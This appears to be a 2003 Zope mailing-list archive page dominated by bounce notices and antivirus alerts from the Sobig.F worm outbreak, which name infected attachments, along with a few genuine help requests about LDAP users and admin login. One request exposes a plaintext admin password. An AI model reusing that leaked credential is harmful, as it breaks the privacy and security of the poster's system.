Service: miscellaneous error liv@seatrans.no ------- Returned Message -------- Received: from mail4.rits.idcomnet.no ([195.204.177.95]) by mail3.rits.idcomnet.no (Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) with SMTP id C1256D88.00579DFA; Wed, 20 Aug 2003 17:57:00 +0200 Received: from mail5.rits.idcomnet.no (mail.nccnorge.no [213.172.193.35]) by mail4.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KFx77W030805 for ; Wed, 20 Aug 2003 17:59:07 +0200 Received: from PCKJEMI_OPPL ([62.97.227.98]) by mail5.rits.idcomnet.no (8.12.9/8.12.8) with ESMTP id h7KFx69T030563 for ; Wed, 20 Aug 2003 17:59:06 +0200 Message-Id: <200308201559.h7KFx69T030563@mail5.rits.idcomnet.no> From: To: Subject: Your details Date: Wed, 20 Aug 2003 17:57:28 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_073DB583" This is a multipart message in MIME format --_NextPart_000_073DB583 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_073DB583-- From Per.Gunnar.Svaeren at tv2.no Wed Aug 20 11:20:01 2003 From: Per.Gunnar.Svaeren at tv2.no (=?iso-8859-1?Q?Per_Gunnar_Sv=E6ren?=) Date: Fri Aug 22 09:12:00 2003 Subject: [Zope] =?iso-8859-1?q?Automatisk_svar_n=E5r_du_er_borte_fra_kont?= =?iso-8859-1?q?oret=3A_Your_application?= Message-ID: <47F92433D7F9CE4CB0CE579A6C4DEDD7BB39F4@ex2.tv2asa.no> Ferie til 25. august. Gjelder henvendelsen saker i dagens avis, kontakt utgavesjef Tormod Utne (tormod.utne@tv2.no) eller fungerende vaktsjef (se avisforsidens venstremarg). Andre henvendelser til redaksjonen kan rettes til reportasjesjef Geir Selvik (geir.selvik@tv2.no). From Patrick.Gelin at rpn.ch Thu Aug 21 10:58:15 2003 From: Patrick.Gelin at rpn.ch (Gelin Patrick) Date: Fri Aug 22 09:15:26 2003 Subject: [Zope] About LDAPUserFolder, memberships and LocalRoles... Message-ID: Hi, I use LDAPUserFolder and when I want to assign LocalRoles I get into trouble because users are not display if they never login a first time. I think that when a user make a login it is registered as membership and he can be listed by LocalRoles. So the question is how can I register my LDAP users as membership automaticaly ? Thanks. From MAILER-DAEMON at aol.com Thu Aug 21 21:43:43 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 09:17:22 2003 Subject: [Zope] Returned mail: User unknown Message-ID: <200308220043.UAH17130@rly-na06.mx.aol.com> The original message was received at Thu, 21 Aug 2003 20:43:30 -0400 (EDT) from [202.154.206.86] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-na01.mail.aol.com.: >>> RCPT To: <<< 550 MAILBOX NOT FOUND 550 ... User unknown -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 677 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/1ff20eb7/attachment-0001.bin From carlos.toruno at puntos.org.ni Fri Aug 22 03:16:13 2003 From: carlos.toruno at puntos.org.ni (=?iso-8859-1?Q?Carlos_Toru=F1o?=) Date: Fri Aug 22 09:30:36 2003 Subject: [Zope] RV: user problem Message-ID: <001101c37954$c11c58a0$0400a8c0@J2916.findquick.com> -----Mensaje original----- De: Carlos Toru?o [mailto:carlos.toruno@puntos.org.ni] Enviado el: jueves, 11 de septiembre de 2003 12:21 Para: zope@zope.org CC: Bayardo Rivas (E-mail); Carlos Toru?o (E-mail); Eliezer Tra?a (E-mail) Asunto: RE: user problem I'm designing a context Wed Site so i want to do it with zope,... My problem is, i can't logging to Zope throug the Web interface. if,Default user and password are: user : 'admin' password: 'IVX3kAwU' Why i can't access with default user? When I use zpasswd.py command, i can add new user or inituser, but this inituser (admin) is not acepted as a user of web Zope. So i don't know if the password that i set up is working or not. Why i can't access with inituser? if exist any other way to set the passwd up, i'll be very gratefull if you tell how. Other info: -* OS : I installed Linux Operative System( SuSe 8.1 ) -* HDD 13 Gb -* SDRAM 256 Mb -* PENTIUM III 450 MHz -* Zope version: zope-2.5.1-64 -* Product installed: python-2.2.1-45 I want to run zope with Apache web server. thank you very much... -----Mensaje original----- De: The Zope.org Replybot [mailto:replybot@zope.org] Enviado el: martes, 19 de agosto de 2003 12:16 Para: carlos.toruno@puntos.org.ni Asunto: Re: user problem You have reached the webmaster for the zope.org domain, a site which is devoted to the open source application server and content management framework known as Zope. Please read this message carefully to see if it answers your question. While a human being has received your message, webmaster@zope.org will probably *not* respond to you personally unless your question concerns the workings of the zope.org web site or other administrative business. If you are asking a Zope (the software) specific question, you should Instead send it to the zope@zope.org mailinglist or use the #zope IRC channel on irc.zope.org. You do not need to subscribe to zope@zope.org to ask a question. But please be as clear as you can about the problem, including relevant details such as: - Precise error messages, including complete tracebacks - The hardware platform - The Zope version - Products installed, if relevant If you have a remark about a particular HowTo, New item, Tip, or Product listed on Zope.org, please use the "Feedback to this page's Author" link at the bottom of the relevant page to reach the correct responsible person. If you are reporting a problem with your Zope.org membership or want to be listed as a ZSP, please file an issue in the Zope.org Tracker at http://www.zope.org/Tracker. We are not necessarily affiliated with or have knowledge of websites that run on Zope. If you encountered an error page on such a site and clicked on the Zope logo which directed you to the Zope Credits page on Zope.org, please try and contact the webmaster of the problem site in question. Usually their webmaster can be reached at webmaster@. From carlos.toruno at puntos.org.ni Fri Aug 22 03:16:14 2003 From: carlos.toruno at puntos.org.ni (=?iso-8859-1?Q?Carlos_Toru=F1o?=) Date: Fri Aug 22 09:32:10 2003 Subject: [Zope] RE: user problem In-Reply-To: Message-ID: <001801c37891$753d5290$0400a8c0@J2916.findquick.com> I'm designing a context Wed Site so i want to do it with zope,... My problem is, i can't logging to Zope throug the Web interface. if,Default user and password are: user : 'admin' password: 'IVX3kAwU' Why i can't access with default user? When I use zpasswd.py command, i can add new user or inituser, but this inituser (admin) is not acepted as a user of web Zope. So i don't know if the password that i set up is working or not. Why i can't access with inituser? if exist any other way to set the passwd up, i'll be very gratefull if you tell how. Other info: -* OS : I installed Linux Operative System( SuSe 8.1 ) -* HDD 13 Gb -* SDRAM 256 Mb -* PENTIUM III 450 MHz -* Zope version: zope-2.5.1-64 -* Product installed: python-2.2.1-45 I want to run zope with Apache web server. thank you very much... -----Mensaje original----- De: The Zope.org Replybot [mailto:replybot@zope.org] Enviado el: martes, 19 de agosto de 2003 12:16 Para: carlos.toruno@puntos.org.ni Asunto: Re: user problem You have reached the webmaster for the zope.org domain, a site which is devoted to the open source application server and content management framework known as Zope. Please read this message carefully to see if it answers your question. While a human being has received your message, webmaster@zope.org will probably *not* respond to you personally unless your question concerns the workings of the zope.org web site or other administrative business. If you are asking a Zope (the software) specific question, you should Instead send it to the zope@zope.org mailinglist or use the #zope IRC channel on irc.zope.org. You do not need to subscribe to zope@zope.org to ask a question. But please be as clear as you can about the problem, including relevant details such as: - Precise error messages, including complete tracebacks - The hardware platform - The Zope version - Products installed, if relevant If you have a remark about a particular HowTo, New item, Tip, or Product listed on Zope.org, please use the "Feedback to this page's Author" link at the bottom of the relevant page to reach the correct responsible person. If you are reporting a problem with your Zope.org membership or want to be listed as a ZSP, please file an issue in the Zope.org Tracker at http://www.zope.org/Tracker. We are not necessarily affiliated with or have knowledge of websites that run on Zope. If you encountered an error page on such a site and clicked on the Zope logo which directed you to the Zope Credits page on Zope.org, please try and contact the webmaster of the problem site in question. Usually their webmaster can be reached at webmaster@. From postmaster at mail.lenscare.de Thu Aug 21 09:54:09 2003 From: postmaster at mail.lenscare.de (postmaster@mail.lenscare.de) Date: Fri Aug 22 09:33:56 2003 Subject: [Zope] VIRUS IN YOUR MAIL Message-ID: <200308210654.h7L6s9C06106@mail.lenscare.de> V I R U S A L E R T Our viruschecker found the 'W32/Sobig-F' virus(es) in your email to the following recipient(s): -> meisterberatung@lenscare.de Please check your system for viruses, or ask your system administrator to do so. For your reference, here are the headers from your email: ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from C3-0064744-PC (p50857AE5.dip.t-dialin.net [80.133.122.229]) by mail.lenscare.de (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h7L6s1u06049 for ; Thu, 21 Aug 2003 08:54:02 +0200 From: zope@zope.org Message-Id: <200308210654.h7L6s1u06049@mail.lenscare.de> To: Subject: Re: Your application Date: Thu, 21 Aug 2003 8:26:06 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_004B3BD3" -------------------------- END HEADERS ------------------------------ From postmaster at fhg.de Wed Aug 20 11:46:00 2003 From: postmaster at fhg.de (postmaster@fhg.de) Date: Fri Aug 22 09:41:52 2003 Subject: [Zope] Virus Alert Message-ID: <200308200846.h7K8k0Vk019116@mailgw2.fraunhofer.de> Viruswall on host mailgw2 has detected Virus WORM_SOBIG.F in your mail message (file application.pif) to volker.zurwehn@do.isst.fhg.de. From MAILER-DAEMON at mail4.rits.idcomnet.no Fri Aug 22 04:54:22 2003 From: MAILER-DAEMON at mail4.rits.idcomnet.no (Mail Delivery Subsystem) Date: Fri Aug 22 09:46:53 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220154.h7M1fCje012763@mail4.rits.idcomnet.no> The original message was received at Fri, 22 Aug 2003 03:36:41 +0200 from mail1.rits.idcomnet.no [195.204.177.98] ----- The following addresses had permanent fatal errors ----- (reason: 554 5.4.6 Too many hops) ----- Transcript of session follows ----- 554 5.4.6 Too many hops 26 (25 max): from via localhost, to -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Your details Date: Fri, 22 Aug 2003 3:32:20 +0200 Size: 5897 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/05c03380/attachment-0001.eml From postmaster at monroe.str.com Thu Aug 21 09:22:15 2003 From: postmaster at monroe.str.com (amavisd-new) Date: Fri Aug 22 09:52:12 2003 Subject: [Zope] BANNED FILENAME (application.pif) IN YOUR MAIL In-Reply-To: <20030821132213.5D9B83E6BC@madison.chi.nvisia.com> Message-ID: BANNED FILENAME ALERT Our virus checker found banned filename: application.pif in your email to the following recipient: -> danch@nvisia.com Delivery of the email was stopped! Please check your system for viruses, or ask your system administrator to do so. For your reference, here are headers from your email: ------------------------- BEGIN HEADERS ----------------------------- Received: from MARS (209-250-116-253.client.dsl.net [209.250.116.253]) by madison.chi.nvisia.com (Postfix) with ESMTP id 5D9B83E6BC for ; Thu, 21 Aug 2003 08:22:13 -0500 (CDT) From: To: Subject: Re: Approved Date: Thu, 21 Aug 2003 9:26:53 --0700 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00351128" Message-Id: <20030821132213.5D9B83E6BC@madison.chi.nvisia.com> -------------------------- END HEADERS ------------------------------ -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 600 bytes Desc: Undelivered-message headers Url : http://lists.zope.org/pipermail/zope/attachments/20030821/8b1f9027/attachment-0001.bin From postmaster at iol.cz Thu Aug 21 17:52:04 2003 From: postmaster at iol.cz (Internet on Line Mail Delivery) Date: Fri Aug 22 09:54:54 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJZ004AW5ASPV@ims-1.iol.cz> This report relates to a message you sent with the following header fields: Return-path: Received: from mta-in2 (mta-in2 [192.168.30.15]) by ims-1.iol.cz (Internet on Line ESMTP Server) with ESMTP id <0HJZ004AR5ASPV@ims-1.iol.cz> (original mail from zope@zope.org) ; Thu, 21 Aug 2003 16:52:04 +0200 (MEST) Received: from POLDI ([217.227.223.32]) by mta-in2.iol.cz (Internet on Line ESMTP Server) with ESMTP id <0HJZ006925A6DN@mta-in2.iol.cz> for vmlich+filtered@iol.cz (ORCPT vmlich@rar.cz); Thu, 21 Aug 2003 16:52:03 +0200 (MEST) Content-return: prohibited Date: Thu, 21 Aug 2003 16:51:50 +0200 From: zope@zope.org Subject: Re: Re: My details To: vmlich@rar.cz Message-id: <0HJZ006935A7DN@mta-in2.iol.cz> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/mixed; boundary=_NextPart_000_009D9CE0 Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean Your message cannot be delivered to the following recipients: Recipient address: vmlich@rar.cz Original address: vmlich@rar.cz Reason: Rejected by filter processing Prosim vas, neposielajte mi velke maily nad 40k. Ked mi chcete poslat vacsi balik dat, vystavte ho niekde na internete a do mailu mi napiste URL kde to najdem.Dakujemvmlich -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 893 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/60ae3c07/attachment-0001.bin From MAILER-DAEMON at relay1.tdcnorge.no Thu Aug 21 19:21:47 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 09:55:25 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211621.h7LGLl202672@relay1.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 18:21:43 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Thank you! Date: Thu, 21 Aug 2003 18:20:11 +0200 Size: 712 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/6db13b1f/attachment-0001.eml From MAILER-DAEMON at cisco.com Tue Aug 19 15:31:22 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 09:55:58 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308192131.h7JLVM8o014079@sj-inbound-4.cisco.com> ------------------ Virus Warning Message (on the network) Found virus WORM_SOBIG.F in file your_document.pif The uncleanable file is deleted. --------------------------------------------------------- -------------- next part -------------- The original message was received at Tue, 19 Aug 2003 14:30:59 -0700 (PDT) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject) (expanded from: ) ----- Transcript of session follows ----- ... while talking to sj-core-2.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix - change your subject 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Your application Date: Tue, 19 Aug 2003 23:39:56 +0200 Size: 1015 Url: http://lists.zope.org/pipermail/zope/attachments/20030819/e0a60a98/attachment-0001.eml From MAILER-DAEMON at cisco.com Thu Aug 21 13:46:34 2003 From: MAILER-DAEMON at cisco.com (Mail Delivery Subsystem) Date: Fri Aug 22 09:56:42 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308210246.h7L2kYgO011600@proxy6.cisco.com> The original message was received at Thu, 21 Aug 2003 12:46:22 +1000 (EST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 552 5.0.0 SOBIG.F Virus outbreak - temp fix) (expanded from: ) ----- Transcript of session follows ----- ... while talking to syd-msg-core-1.cisco.com.: >>> DATA <<< 552 5.0.0 SOBIG.F Virus outbreak - temp fix 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Details Date: Thu, 21 Aug 2003 4:48:29 +0200 Size: 703 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/d5a5ae24/attachment-0001.eml From Regula.Bartczak at hausbank.de Thu Aug 21 18:36:39 2003 From: Regula.Bartczak at hausbank.de (Bartczak, Regula) Date: Fri Aug 22 10:10:28 2003 Subject: [Zope] Abwesenheitsnotiz: Your application Message-ID: <26C32E537EFBE14595151ABB9A19FF5135C147@hb_exchange.hausbank.de> Zur Zeit nicht im Hause From viruswall at hausbank.de Thu Aug 21 18:39:21 2003 From: viruswall at hausbank.de (viruswall@hausbank.de) Date: Fri Aug 22 10:10:47 2003 Subject: [Zope] Virus Alert Message-ID: <20030821153921.D54A129AB9@virus.hausbank.de> The mail message (file: thank_you.pif) you sent to Regula.Bartczak@hausbank.de contains a virus. (on virus.hausbank.de) From postmaster at arnet.com.ar Thu Aug 21 14:20:47 2003 From: postmaster at arnet.com.ar (postmaster@arnet.com.ar) Date: Fri Aug 22 10:12:00 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. jgf@radar.com.ar -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 140 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/8644e219/attachment-0001.bin From MAILER-DAEMON at relay2.tdcnorge.no Fri Aug 22 03:07:33 2003 From: MAILER-DAEMON at relay2.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:12:27 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308220007.h7M07Xp13830@relay2.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 02:07:29 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Details Date: Fri, 22 Aug 2003 2:05:59 +0200 Size: 708 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/ed4cece3/attachment-0001.eml From postmaster at arnet.com.ar Thu Aug 21 19:28:21 2003 From: postmaster at arnet.com.ar (postmaster@arnet.com.ar) Date: Fri Aug 22 10:13:53 2003 Subject: [Zope] Delivery Status Notification (Failure) Message-ID: This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. jgf@radar.com.ar -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 136 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030821/8000106d/attachment-0001.bin From MAILER-DAEMON at relay1.tdcnorge.no Wed Aug 20 21:04:06 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:18:55 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308201804.h7KI46223242@relay1.tdcnorge.no> The original message was received at Wed, 20 Aug 2003 20:04:02 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Approved Date: Wed, 20 Aug 2003 20:02:24 +0200 Size: 710 Url: http://lists.zope.org/pipermail/zope/attachments/20030820/4a76f8ad/attachment-0001.eml From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 16:52:47 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:26:36 2003 Subject: [Zope] Undeliverable mail: Re: Details Message-ID: Failed to deliver to '' Virus(es) found. wicked_scr.scr is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 561 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/f7229374/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 17:08:58 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:27:20 2003 Subject: [Zope] Undeliverable mail: Re: Approved Message-ID: Failed to deliver to '' Virus(es) found. your_details.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 560 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/63db19a1/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 17:42:41 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:28:08 2003 Subject: [Zope] Undeliverable mail: Your details Message-ID: Failed to deliver to '' Virus(es) found. details.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 566 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/7fe53751/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 18:23:40 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:28:39 2003 Subject: [Zope] Undeliverable mail: Re: Thank you! Message-ID: Failed to deliver to '' Virus(es) found. wicked_scr.scr is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 572 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/95f771c2/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 18:26:42 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:29:10 2003 Subject: [Zope] Undeliverable mail: Your details Message-ID: Failed to deliver to '' Virus(es) found. wicked_scr.scr is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 570 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/194eb22b/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 18:39:07 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:29:37 2003 Subject: [Zope] Undeliverable mail: Re: Approved Message-ID: Failed to deliver to '' Virus(es) found. details.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 562 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/f694fcac/attachment-0001.bin From MAILER-DAEMON at emfe2.iup.edu Tue Aug 19 19:08:00 2003 From: MAILER-DAEMON at emfe2.iup.edu (MAILER-DAEMON@emfe2.iup.edu) Date: Fri Aug 22 10:29:55 2003 Subject: [Zope] Undeliverable mail: Re: Re: My details Message-ID: Failed to deliver to '' Virus(es) found. application.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 570 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030819/70dded71/attachment-0001.bin From MAILER-DAEMON at relay2.tdcnorge.no Thu Aug 21 15:14:24 2003 From: MAILER-DAEMON at relay2.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 10:30:14 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308211214.h7LCEOp27230@relay2.tdcnorge.no> The original message was received at Thu, 21 Aug 2003 14:14:19 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Approved Date: Thu, 21 Aug 2003 14:12:45 +0200 Size: 710 Url: http://lists.zope.org/pipermail/zope/attachments/20030821/e1d14c7d/attachment-0001.eml From fjord at fjordimages.com Fri Aug 22 03:54:25 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 10:30:28 2003 Subject: [Zope] Re: Re: Wicked screensaver Message-ID: <1061501225.29607.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From MAILER-DAEMON at tv2.no Thu Aug 21 13:54:50 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 10:31:10 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030821105450.5F013277799@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 426 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030821/1fc38284/attachment-0001.bin From postmaster at iol.cz Wed Aug 20 16:05:01 2003 From: postmaster at iol.cz (Internet on Line Mail Delivery) Date: Fri Aug 22 10:31:52 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJX00BLP5OD73@ims-1.iol.cz> This report relates to a message you sent with the following header fields: Return-path: Received: from mta-in2 (mta-in2 [192.168.30.15]) by ims-1.iol.cz (Internet on Line ESMTP Server) with ESMTP id <0HJX00BL85OC73@ims-1.iol.cz> (original mail from zope@zope.org) ; Wed, 20 Aug 2003 15:05:01 +0200 (MEST) Received: from POLDI ([80.134.209.55]) by mta-in2.iol.cz (Internet on Line ESMTP Server) with ESMTP id <0HJX00JXE5O3ZC@mta-in2.iol.cz> for vmlich+filtered@iol.cz (ORCPT vmlich@rar.cz); Wed, 20 Aug 2003 15:05:00 +0200 (MEST) Content-return: prohibited Date: Wed, 20 Aug 2003 15:04:57 +0200 From: zope@zope.org Subject: Re: Thank you! To: vmlich@rar.cz Message-id: <0HJX00JXF5O3ZC@mta-in2.iol.cz> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: multipart/mixed; boundary=_NextPart_000_00391958 Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal X-MailScanner: Found to be clean Your message cannot be delivered to the following recipients: Recipient address: vmlich@rar.cz Original address: vmlich@rar.cz Reason: Rejected by filter processing Prosim vas, neposielajte mi velke maily nad 40k. Ked mi chcete poslat vacsi balik dat, vystavte ho niekde na internete a do mailu mi napiste URL kde to najdem.Dakujemvmlich -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 888 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030820/62af8829/attachment.bin From postmaster at emirates.net.ae Thu Aug 21 20:09:08 2003 From: postmaster at emirates.net.ae (Internet Mail Delivery) Date: Fri Aug 22 10:33:19 2003 Subject: [Zope] Delivery Notification: Delivery has failed Message-ID: <0HJZ004TU638BB@dxbrsmail1.emirates.net.ae> This report relates to a message you sent with the following header fields: Return-path: Return-path: Received: from ims-ms-daemon.dxbrsmail1.emirates.net.ae by dxbrsmail1.emirates.net.ae (I&ES Mail Server 4.2) id <0HJZ004TR638BB@dxbrsmail1.emirates.net.ae> (original mail from zope@zope.org); Thu, 21 Aug 2003 